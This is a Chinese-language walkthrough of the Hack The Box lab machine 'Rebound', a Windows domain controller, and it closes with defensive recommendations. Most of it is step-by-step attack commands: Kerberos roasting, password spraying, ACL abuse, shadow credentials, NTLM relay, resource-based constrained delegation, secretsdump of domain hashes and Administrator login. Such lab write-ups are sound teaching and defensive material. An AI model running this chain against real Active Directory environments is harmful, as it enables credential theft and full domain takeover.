HTB 靶机渗透总结之 Rebound
字数 1695 2025-08-27 12:33:22
Rebound靶机渗透实战教学文档
一、靶机概述
- 名称: Rebound (Insane)
- 作者: Geiseric
- 发布日期: 2023/09/09
- 难度: 疯狂(Insane)
- 环境: Windows域控环境
- 特点:
- 结合密码喷洒攻击
- 影子凭据技术
- 高级委派攻击(RBCD)
- 启用了LDAP签名要求和通道绑定等加固手段
二、信息收集
2.1 端口扫描结果
TCP开放端口:
- 53 (DNS服务)
- 88 (Windows Kerberos服务)
- 139 (NetBIOS SMB服务)
- 445 (SMB服务)
- 389 (LDAP)
- 636 (LDAPS)
- 3268/3269 (LDAP全局目录)
- 5985 (WinRM)
UDP开放端口:
- 123 (NTP)
- 137/138 (NetBIOS)
2.2 域名解析
将扫描发现的域名添加到hosts文件:
10.129.129.114 rebound.htb DC01.rebound.htb
2.3 时间同步
Kerberos认证对时间敏感(容忍±5分钟),建议使用NTP同步:
ntpdate -u 10.129.129.114
三、初始攻击路径
3.1 SMB枚举
- 检查匿名访问:
smbclient -L //10.129.129.114 -N
发现不支持纯匿名访问,但可传入任意用户名访问
- 可读共享:
- IPC$
- Shared (空文件夹)
- RID枚举:
ridenum.py 10.129.129.114 40000 users
获取到一批用户名,保存为users文件
3.2 AS-REP Roasting攻击
查找不需要预身份验证的用户:
GetNPUsers.py rebound.htb/ -no-pass -usersfile users -format hashcat -dc-ip 10.129.129.114
发现用户jjones返回了KRB5 ASREP哈希
尝试破解(未成功):
hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --potfile-disable -O -w 3
3.3 新型Kerberos Roasting攻击
参考Semperis文章中的新技术:
GetUserSPNs.py -no-pac -dc-ip 10.129.129.114 -usersfile users rebound.htb/
成功获取:
- krbgt (AES128-HMAC-SHA1)
- ldap_monitor (RC4-HMAC)
破解ldap_monitor的TGS哈希:
hashcat -m 13100 hash.txt rockyou.txt
成功获取密码
四、权限提升路径
4.1 密码喷洒攻击
使用ldap_monitor的密码对用户列表进行喷洒:
crackmapexec smb 10.129.129.114 -u users -p 'Password123'
发现用户oorend使用相同密码
4.2 LDAP枚举
- 使用PowerView枚举:
Get-DomainUser -Identity oorend | select *
Get-DomainObjectAcl -Identity "OU=Service Users" | ? {$_.SecurityIdentifier -match "S-1-5-21-*"}
- 发现攻击链:
- oorend → AddSelf到ServiceMgnt组
- ServiceMgnt组 → 完全控制OU=Service Users
- OU=Service Users → 包含winrm_svc用户
- 执行操作:
Add-DomainGroupMember -Identity ServiceMgnt -Members oorend
Add-DomainObjectAcl -TargetIdentity "OU=Service Users" -PrincipalIdentity oorend -Rights All
4.3 获取winrm_svc访问权限
方法1: 修改密码
Set-DomainUserPassword -Identity winrm_svc -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
方法2: 影子凭据技术(更隐蔽)
certipy shadow auto -u oorend@rebound.htb -p 'Password123' -account winrm_svc -target dc01.rebound.htb -dc-ip 10.129.129.114
获取NT哈希后通过WinRM登录
五、域管理员提权
5.1 信息枚举
- 发现活跃用户tbrady:
Get-NetSession -ComputerName dc01.rebound.htb
- 枚举gMSA账号:
Get-ADServiceAccount -Filter * | select Name
发现delegator$账号
- 检查ACL:
Get-DomainObjectAcl -Identity delegator$ | ? {$_.SecurityIdentifier -eq "S-1-1-0"}
发现Everyone组可读取delegator$的msDS-ManagedPassword属性
5.2 NTLM中继攻击
使用KrbRelay捕获tbrady的NTLM哈希:
KrbRelay.exe -clsid {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8} -session 1
破解获取tbrady密码
5.3 获取delegator$凭据
使用tbrady票据获取gMSA密码:
certipy auth -u tbrady@rebound.htb -p 'Password123' -dc-ip 10.129.129.114 --gmsa delegator$
5.4 基于资源的约束委派攻击
- 获取delegator$的TGT:
getTGT.py rebound.htb/delegator$ -hashes :<nt_hash>
export KRB5CCNAME=/path/to/delegator$.ccache
- 执行RBCD攻击:
rbcd.py -delegate-to dc01$ -delegate-from ldap_monitor -dc-ip 10.129.129.114 -action write rebound.htb/delegator$
- 获取DC01机器账号票据:
getST.py -spn http/dc01.rebound.htb -impersonate dc01$ -dc-ip 10.129.129.114 rebound.htb/ldap_monitor -additional-ticket /path/to/st1.ccache
export KRB5CCNAME=/path/to/dc01$.ccache
- Dump域管理员哈希:
secretsdump.py -k -no-pass dc01.rebound.htb
- 通过WinRM获取域控:
evil-winrm -i dc01.rebound.htb -u Administrator -H <ntlm_hash>
六、关键技术总结
-
Kerberos攻击技术:
- AS-REP Roasting
- Kerberos Roasting
- 新型Kerberos攻击(无需预认证用户请求服务票据)
-
权限提升技术:
- ACL滥用(AddSelf权限)
- 影子凭据技术
- 基于资源的约束委派(RBCD)
-
信息收集工具:
- PowerView
- BloodHound
- NetExec
-
攻击工具链:
- Impacket套件
- Certipy
- KrbRelay
- RunasCs
七、防御建议
-
加固Kerberos:
- 禁用RC4加密
- 限制不需要预认证的账户
- 监控异常票据请求
-
权限管理:
- 定期审计ACL
- 限制Self权限
- 严格控制gMSA账号权限
-
监控措施:
- 监控异常LDAP查询
- 检测NTLM中继尝试
- 记录敏感操作(如密码重置)
-
架构设计:
- 启用LDAP签名和通道绑定
- 限制委派配置
- 分离管理账户和普通账户